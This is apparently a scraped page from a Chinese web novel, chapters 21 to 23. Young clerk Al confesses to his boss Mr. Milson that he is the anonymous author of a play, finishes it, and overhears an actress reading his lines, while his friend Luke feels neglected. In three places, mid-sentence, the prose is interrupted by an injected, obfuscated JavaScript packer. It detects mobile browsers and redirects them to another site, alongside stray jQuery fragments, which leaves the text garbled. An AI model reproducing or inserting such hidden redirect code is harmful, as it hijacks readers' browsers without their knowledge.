她不由得停下手头的工作,啧啧称奇地猜测:“阿尔这是淘到了什么精彩好剧本啊?居然能让先生高兴成这样。”
米尔森先生笑得眼泪都快
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729510|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来了,好半天才停住,又顺手拿着眼镜布擦了下眼角,才重新把眼镜戴上,感叹道:“阿尔弗雷斯西尔维先生,你今天真是让我大开眼界了啊。”
阿尔继续愁眉苦脸。
他哭丧着脸问:“您这样生疏地喊我,是再也不打算原谅我了吗?”
米尔森先生很肯定地说:“是的,不原谅。”
阿尔失落又难过地瘪了嘴,正寻思要不要学小孩子一样博同情,比如,当场表演一个大哭。
但这时候,米尔森先生却又补充了一句:“因为我不觉得这是什么错事呀!所以,何必谈什么原谅?剧作者本就有匿名投稿的权利,你所做的事本就是在规则内的操作,哪里谈得上是犯了什么错误呢?”
从满心失落到喜出望外……
中间居然只隔了区区三秒钟!
“啊!您真是世界上最好、最体贴人的老板。”
阿尔心中终于放下了一块大石,脸上不禁露出了欢天喜地的神色。
而且,为了表示感谢,他干脆仗着孩子身份,高高兴兴地跑过去,无比热烈地拥抱了这位还坐在椅子里的米尔森先生,并在他微秃的脑袋上重重亲了一口。
向来习惯同人保持距离,很老派作风的米尔森先生险些又被这孩子的热情给吓到。
但这种诚挚的热情,他心里其实是十二万分受用的,一边假装尴尬地推拒,一边又忍不住想笑,同时偷偷地暗忖,自己适才的态度和举动,想来一定是表现得格外漂亮有风度,且宽容大度又尽显长者气魄,也因此,才能赢得这位天才小员工如此敬爱的吧,一时心底不免很是得意起来!
于是,一场祸事就这么消泯于无形了。
再等阿尔这边总算不再那么激动……
米尔森先生便索性正儿八经地当面催起了稿。
他一边随手把之前费劲儿写了好几遍的催稿信团了团,掷进垃圾桶,一边假装漫不经心地问了起来:“阿尔啊,既然是你写的剧本,那我就直接问了。你打算什么时候才把下面的剧情写出来?这周能搞定吗?”
“这周?”
阿尔惊吓地瞪大了眼睛:“先生,这周就剩三天了!有哪个剧作家三天就能写完一个剧本啊?”
“三天不行,那一周吧。”
米尔森先生很是宽宏的放宽了期限,还兴致勃勃地安排起了工作:“这样好啦!你还是负责自己催自己吧!(阿尔:??)催稿的阿尔和写稿的阿尔,很是相配呢。可工作是工作,总要加点儿限制出来。唔,我想想……有了!若是两周写不完,我就要扣那个负责催稿的阿尔的工资,多一天扣十块好了。”
阿尔目瞪口呆:“先生,负责催稿的阿尔的工资,一周统共才三十块啊。”
米尔森先生笑着说:“对啊,所以,写稿的阿尔如果拖稿三天,催稿的阿尔的工资就没了。等写稿的阿尔拖稿到了第四天,催稿的阿尔就要反过来倒欠我十块了。写稿的阿尔拖稿越久,催稿的阿尔便欠我越多的钱!”
他越想越美,厚厚镜片下的眼睛都闪亮了,还用力一击掌:“这样一来,工作具体怎么完成?工作进度的快慢,可全靠你自己掌控了,老板给员工完全放权!阿尔,你开心吗?”
“……您,您真是信任我啊!”
“毕竟,你也说了,我是世界上最好的老板嘛。”
22. 第22章
第22章阿尔:属于我的意大利面和太阳
一周写完一个剧本的要求,显然是不切合实际的。
米尔森先生也没真打算这么残忍地压迫童工。
至于,之前的一系列说法,本就是个恶作剧,或者还有那么一点儿……
故意吓唬,以报复这孩子之前对自己隐瞒作者身份的事。
但不管怎么说,在一切开诚布公、再无隐瞒后,两个人总算可以面对面地直接讨论,将心中的种种想法,全都坦白告知对方,而不用继续互相猜来猜去了。
所以,阿尔立刻问出了一个最想知道的问题:“先生,请恕我冒昧,您觉得我这个剧本到底算是个怎么回事呢?我自知水平低劣,本不该妄想,可之前蒙您赏识,几次催稿,不免让我有些自作多情了,想着这东西还是有几分价值的。可内心忐忑的是,您似乎始终没有透露出要采用它的意思。”
说到这里,他特意停了停,将神色变得更加诚恳,目光也极为专注:“当然,我并非是想一步登天。事实上,作为一名新手作者,能得您看重已是万幸,至于最后,能不能将剧本搬上舞台,那全凭上帝的旨意。如今,我只是想以剧作者的身份,诚恳地向您求教,我到底还有那些不足和需要改正的地方呢?”
米尔森先生没有因为他的年龄就看轻他,相反,自始至终都摆出一副认真倾听的姿势。
等到阿尔说完,他也没有故意装腔作势地绕圈子,而是很温和地说:“你过谦了,阿尔。如果这样的剧本还算水平低劣的话,我倒是不知道,什么样子的剧本该算质量优良了。至于你心中的疑问,为什么我始终没有说要采用的真正原因,我现在就可以告诉你!不是因你写得不好,恰恰是因为你写得太好了。”
“您该不是又拿我开玩笑吧?”
阿尔这回不用假装,是货真价实地吃了一惊:“写得好怎么也有错了?”
米尔森先生顿时指着他笑:“哟,不装了?这会儿怎么不继续假模假式地谦虚说写得不好啦?”
阿尔脸皮厚度一向颇为可观,虽被当面拆穿,却眨巴眨巴眼,只当听不懂,始终保持一脸无辜。
米尔森先生也不和他计较,只调侃了那么一句。
然后,他低头重新翻了翻那个剧本,慢慢思考着说:“怎么同你讲呢?并不是所有好的东西都会被接受的。这就好比当年,街对面明明就站着一个莫扎特呢,可人们却更愿意围在萨列里身边欢呼【注】。我们假设把观众的接受程度划分为ABCD四级,那正常的发展应该是由D到C到B最后再到A,可现在,你是却要从D一下子跳到B……”
阿尔不由得沉默。
这就是重生所带来的利和弊了,一方面,他继承自上辈子的思维模式必然是先进而独特的;可另一方面,又因为过于先进和独特,可能导致不能立刻为此时的观众们所认可和喜爱。
这好比流行,每一年都是不同的。
哪怕是一部传世佳作呢!如果生不逢时,那它受欢迎的几率也是无限接近于零。
想到这里,阿尔内心深处隐藏的骄傲,就像是被太阳照过的雪堆一样,瞬间融化得干干净净。
当然,这点儿打击还不足以将他搞得一蹶不振。
他仅仅是在心中做了一番深刻的自我反省:“别再自视甚高了,除了比别人多了那十多年的见识外,你还有什么了不起的呢?好好想想上辈子,想一想你最终究竟是靠什么才取得的成功?学历?天赋?才华?都没有!你有的只是勤勤恳恳和近乎笨拙的努力。聪明人一年熬出头,而你却要用十年努力和坚持来换一次出头的机会,难过吗?嫉妒吗?不平吗?可这才是你!这才是真实的你啊!”
然后,他就平静下来,不再去奢望做什么一鸣惊人的好事了。
另一边,说完刚才那番话后,米尔森先生便一直悄悄地观察着这位新鲜出炉的年轻剧作家。
在他想来,天才总是既骄傲又脆弱的,而且,不管外在表现得多么谦逊,骨子里想必对自己的作品都是极为自得和珍视的。因此,当自己给出一个近乎否定的残忍(其实远远称不上残忍)回复时,会不会就此伤害到对方?会不会打击到对方?会不会让对方失去对写作的信心?
为此,这位好心的老板真的做足了准备,内心酝酿了不下百来句安慰和开导的话。
只等自己的小员工流露出一点低落和难过的情绪,那就是他出场表演的高光时刻了。
想想吧!
天才剧作家人生道路上的第一位指引者!
导师!
引路人!
多么美好啊!
可谁知?
这孩子仅仅是低头沉思了几秒(自我反省)后,居然自己就想明白,还一切如常了。
更让他为之无语的是,这孩子的心理承受力似乎比成年人都要强大和坚韧。
在得到[你写的剧本也许根本不会被取用]这样的消息后,不仅没有进退失据,反而更显沉稳了。
而且……
“先生,我还是想谢谢您的赏识。”
阿尔居然还向他认真地承诺了这样一番话:“但您放心,不管结果如何,我都会好好完成这部剧本的,哪怕它将来的去处是垃圾桶呢!我也要珍惜这一次写作的机会。”
等等,谁说要扔垃圾桶了?
我只是想慢慢考虑,以及给你来点儿长辈的指导教学……
失去用武之地的米尔森先生愁肠百结。
更让他沮丧的是,在做出以上承诺后,这孩子就头也不回地离开办公室,说到做到地跑去写剧本了。
“那么……我到底还要不要告诉他?”
米尔森先生心想:“其实,只要不是从D一步跨越到A,从D到B嘛,还是很值得冒险尝试的。”
然而,阿尔已经一无所知地离开了。
在接下来的时间里,他比以前更努力了,也并没有因为[这个剧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729511|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本也许无用]就随便乱写,反而憋着一股气地更加沉浸在剧本的创作中……
于是,另一个人便越发觉得自己形单影只了。
这个人就是卢克。
经过一番打听和研究,他现在已经知道剧本是什么了。
可在他看来,那种耍弄笔杆子的文化人事情,距离自己颇为遥远,且毫无趣味可言。
所以,他格外不能理解好友对这种玩意儿的痴迷!
相反,阿尔沉迷于剧本创作这件事,完全剥夺了他的快乐。
那是一种……
和喜欢、欣赏的好兄弟在一起工作、玩耍、聊天、乃至打架的快乐。
“阿尔,出去耍啊?”
“不了,写剧本呢。”
“哥们,贝斯特搞了个摩托骑?同去啊?”
“不了,写剧本呢。”
“阿尔,好哥们,咱们看斗狗去?”
“不了,写剧本呢。”
卢克失魂落魄。
卢克魂不守舍。
有一次,卢克甚至难过万分地找上门去,问出了这样近乎无理取闹的问题:“哥们,你说个实话吧,我和剧本,哪个更重要?”
阿尔吃惊地反问:“天啊,你怎么能用这种问题来折磨我?“
卢克便咄咄逼人地追问:“怎么讲呢?无非是一道简单选择题嘛!”
阿尔边思考边说:“这是没办法比的啊!唔……让我找几个比喻来让你理解我的想法吧!你对我的友谊,就像是天空中的太阳,哪怕不用管,它也永远挂在空中,并时不时用阳光来温暖我。”
“啊!真的吗?”
卢克感动万分:“我居然是你的太阳吗?我的朋友,你是这样高看我的吗?”
“而剧本,剧本……啊,我找到比喻了!”
阿尔说:“剧本对于我,就像是意大利面,我们家的主食,每天都要吃,且百吃不腻。”
卢克脸上的笑容便又消失了:“抱歉?“
他忍不住问:“听起来剧本更重要?”
“亲爱的,你可以自己动脑想一想嘛。”
“阿尔!你这样根本不是一个好朋友的样子。”
“可我以为自己解释得很清楚了,偶尔也会想听听朋友的看法嘛。”
“那意大利面重要?”
“偶尔少吃几顿,我其实也可以忍受。”
“那还是太阳重要吧,要不然没了光,什么都看不到,还写什么剧本啊。”
“你忘了吗?我还可以开灯呀。”
“混蛋,这也不是,那也不是,你根本是在戏弄我!”
“亲爱的卢克啊,好朋友之间有时候真没必要把话说得这么清楚明白,要不然可太伤人了啊。”
“够了,阿尔!你是什么好朋友啊!你简直是魔鬼!”
“你要是继续这样和我说难听的话,那我就会更加喜爱意大利面了呢。”
“滚啊!”
23. 第23章
第23章卢克:我带你去给朋友看看
欺负傻乎乎的小伙伴,实在是繁重工作中一大解压法宝。
阿尔在内心深处万分感谢主动送上门来,时不时能帮自己缓解压力的卢克,所以,每次都甜言蜜语地称呼对方为“我的朋友,我的手足,我的太阳”,语气情真意切,百分百真心实意。
于是,卢克经常陷入一种“你是不是又在戏弄我了?可如果是在戏弄我的话,你到底是怎么做到的?怎么做到……用那么亲密的口吻,说出无比气人话”的疑惑不解中,但又由于他实在喜爱这个绿眼睛小朋友,哪怕意识到被戏弄了,往往也没什么办法。
这样次数多了。
卢克不免也会和其他朋友发几句牢骚。
这部分朋友自然都是他们黄牛事业里的中坚人物。
其中,那个长得像黑熊一样的小子,算是阿尔从街边捡回来的,一向最护着阿尔,不容别人说他半句坏话,所以,对卢克的牢骚,根本连听都不想听;另一个穿了鼻环,总喜欢玩刀的黑发瘦小子,和卢克的关系倒是很亲密,但他平时少言寡语,打架冲第一个,当知心姐姐还是算了吧。
最后,只剩下颇为精怪的贝斯特了。
也就是当初那个在剧院门口做生意,戴着报童帽的小少年。
他这人没什么原则,天性喜爱搞事,有那么点儿损人不利己,外加唯恐天下不乱的劲儿。
见卢克苦恼,立刻兴冲冲地上去充当狗头军师。
卢克终于逮到机会,自然好好倾诉一番:“阿尔不理我,阿尔认为剧本比我重要,怎么办啊?”
本来暗搓搓想吃一口“黄牛组织内部,两位大佬终于分赃不均,开始内讧”的大瓜,结果却听到了这么一番堪比深闺怨妇的话,贝斯特整个人懵逼了。
“见鬼!我为什么要揽这种无聊的差事呢?”
他暗暗想着,对此事失去了插手的兴趣。
可卢克还站那等着呢。
这家伙可不是好惹的。
贝斯特眼珠转了转,便避重就轻地转移了话题:“隔壁街苏珊娜喜欢你的事,你知道吗?”
卢克挺迷茫的:“苏珊娜是谁?”
“挺漂亮的一个妞啊!上次一起出去玩,那个穿着一身黄色衣服,又套了件蓝大衣,远看色彩挺鲜艳显眼的女孩。”
“一身黄,披蓝色,远看色彩鲜艳又显眼?啊,好极了!贝斯特,你真是太会说话了。若不是有第一句,我差点儿以为你在同我描述金刚鹦鹉了。”
“去你的金刚鹦鹉吧!”贝斯特又气又笑地骂了一句。
然后,他说:“哥们,那妞想要跟你睡觉呢,你去不去?”
卢克很是困惑:“等等,我们不是再说阿尔……”
贝斯特便信誓旦旦地说:“对啊,这两件事也是很有关联的。我同你保证,你同她睡了觉后,一定不会再有闲心去抱怨阿尔不理你了。”
还不知道自家小伙伴就这么快被人忽悠到天边儿去了……
阿尔的剧本进度还是很喜人的,可能是没了“一步登天”的功利心思干扰,反而在创作上更放得开了。
米尔森先生之前的说法果然是逗他玩的。
尽管他现在既不去帮忙挑稿子,连勤杂工的事也不怎么上心,可每周三十块依然一分不少地定期发到了他的手里。
于是,他便能把全部的注意力都集中在创作上。
每写一段,都要一遍一遍地反复润色、修改,不断改进,直到实在想不出什么更好的写法了,才彻底罢休。
又过了一个多月后,阿尔终于在一个清早,把完整剧本放到了米尔森先生的办公桌上。
他长长松了一口气,终于从废寝忘食的工作中解脱,感觉自己又重新活了过来。
这时候,同在一个办公室的爱丽丝小姐可能已经隐隐摸到了一点儿事情的真相。
毕竟,阿尔近段时间笔耕不辍的行为,看起来实在不像是在认真挑选什么稿件,反而更像是写作。
“但这可能吗?一个勤杂工?一个剧作家?”
爱丽丝小姐表情充满了怀疑:“见鬼!阿尔这小子到底在搞什么鬼?还有,米尔森先生莫不是疯了?居然这么由着他乱来?”
她心中满满的奇怪和困惑不解。
这事太离奇了,怎么想都没办法坦然接受。
不过,这位善良的小姐,也不会伤害人。
哪怕在心里已经认定“阿尔在胡闹,米尔森先生也跟着一起胡闹”,并为此有点儿生气,还担心阿尔做了这么自不量力的多余事,搞不好将来会倒大霉!
但对一个孩子,不管是在语言上,还是在行为上……
她都不好意思表现出什么过分责备的意思,唯一做的事,不过是在阿尔清闲的时候,多使唤他跑几趟腿,做一些买买咖啡、寄个信这样的杂事,来委婉地暗示和提醒:“醒醒,孩子,你就是个勤杂工啊”。
不过,由于她的行为太隐晦了。
阿尔可能从头到尾都没意识到。
这天,也是如此。
虽然剧本交上去了,但米尔森先生还没来上班。
所以,阿尔就又被爱丽丝给打发到外面去买咖啡和一些小零食了。
但当他在外头抱着咖啡和一袋零食,推门而进的时候,却突然听到了一个很是活色生香的女性嗓音,正在米尔森先生办公室里头,无比绘声绘色地念着一段台词:
[……天啊,哪一个有脑子的女人会想要结婚呢?你说说,做人妻子到底能得什么好呢?男人对妻子的态度,有时候甚至不如对一只狗!]
[婚姻就是个骗人的陷阱啊!女人一旦掉了进去,她的身体,她的思想,她的日常交际,她的钱……桩桩件件都要被一个男人来插手了。]
[等到了那时候,除了大着肚皮,一窝一窝给他生孩子、养孩子,也没别的事干了。]
[……若是那天我花个五十块买新衣服,他只怕要当场急红了眼,在我面前唉声叹气个一整天,还要指责我败家呢。]
米尔森先生咳嗽了两声,提高声量地打断说:“好啦,别念了。”
然后,还隐隐约约听他在办公室中说:“这段台词太极端了,一个好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729512|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人家的女孩实在不该这么说话,若是让某些古板的教授听到了,只怕要当场气疯,还是得改改。”
可那个适才念台词的女声却噗嗤一声笑了:“我却觉得很有意思呢,改了反而无聊!”
她语气笑嘻嘻地说:“你知道吗?这可比之前《卖花女孩》里,一天到晚装模做样地捧心哀叹,冲男人说什么爱你爱得要死要活一类的玩意儿有趣多了。看在上帝的份上,别改了吧!要我说,你们这些男人就是总喜欢自作多情,以为女人都是喜欢你们的。可我们心里,其实也不是一天到晚都只想着爱来爱去,也不是看上个差不多的男人就要爱呢。这剧本好得很,也该有人说说实话了,我很喜欢!”
米尔森先生又尴尬地咳了几声。
“这个……得容我想想。”他语气迟疑地说。
这时候,阿尔早就走进了屋子。
而且,因那段被念出声的台词,刚好出自他写的剧本,所以,他连买的东西都没来得及放下,便满脸激动地望向米尔森先生的办公室。
由于里屋办公室的门没关太严,他刚好看到之前曾见过的,在《卖花女孩》那部剧中扮演过反派女二的克莉斯小姐,正懒懒地半靠在米尔森先生的大办公桌上。
她一袭艳丽的紫色长裙,一手举着剧本,一手还拿着个红酒杯,漫不经心地轻轻摇晃着,姿势很是袅娜自然,于是,美貌变成了次要的,难得的反而是那份独有的风情。
不过,这姑娘虽看着一副千娇百媚的样子,实则性子特别泼辣。
阿尔站在外头,都能听到她用那极具特色的娇媚嗓音,嚷出了一副要捋袖子和人打架一样的强盗气势:“别的我不管,反正既然被我刚好撞见,就绝不能放过了!米尔森先生,你若是排剧、选角,一定要喊我,否则,我定要诅咒你出门被狗咬,走路被雷公劈了。这角色我志在必得,谁抢我骂谁,和人竞争,我也不怕!”
米尔森先生似乎很无奈地低声说了一句什么。
但距离远,没听清。
可这样的场面,这样的场面……
这剧本难道还真有被排成剧,登上舞台的机会?
阿尔的心脏便不由自主地又一次怦怦地跳起来,紧张地站在那,一动都不动,连爱丽丝满脸无奈地走过来,从他手中抽走咖啡时,都没什么反应,像是傻了一样。
他满心期待和忐忑,恨不得立刻把耳朵变得像兔子一样长,再直直竖起来,好可以听到里屋办公室中米尔森先生的声音。
同一时间,卢克正同那位(金刚鹦鹉)苏珊娜小姐见面。
不过,他大概是已经把这女孩给整懵了。
“我不太明白,什么叫你要带我去见你最好的朋友?”
“这有什么不明白的?我就是想让我最好的朋友看看你啊。”
“可我们才第一次见面……”
“那又怎么了?”
“若是你朋友不喜欢我呢?”
“那我们还是算了吧!”
“啊!这是个什么道理?若是你朋友喜欢我呢?”
“那你就可以跟我们一起玩了。”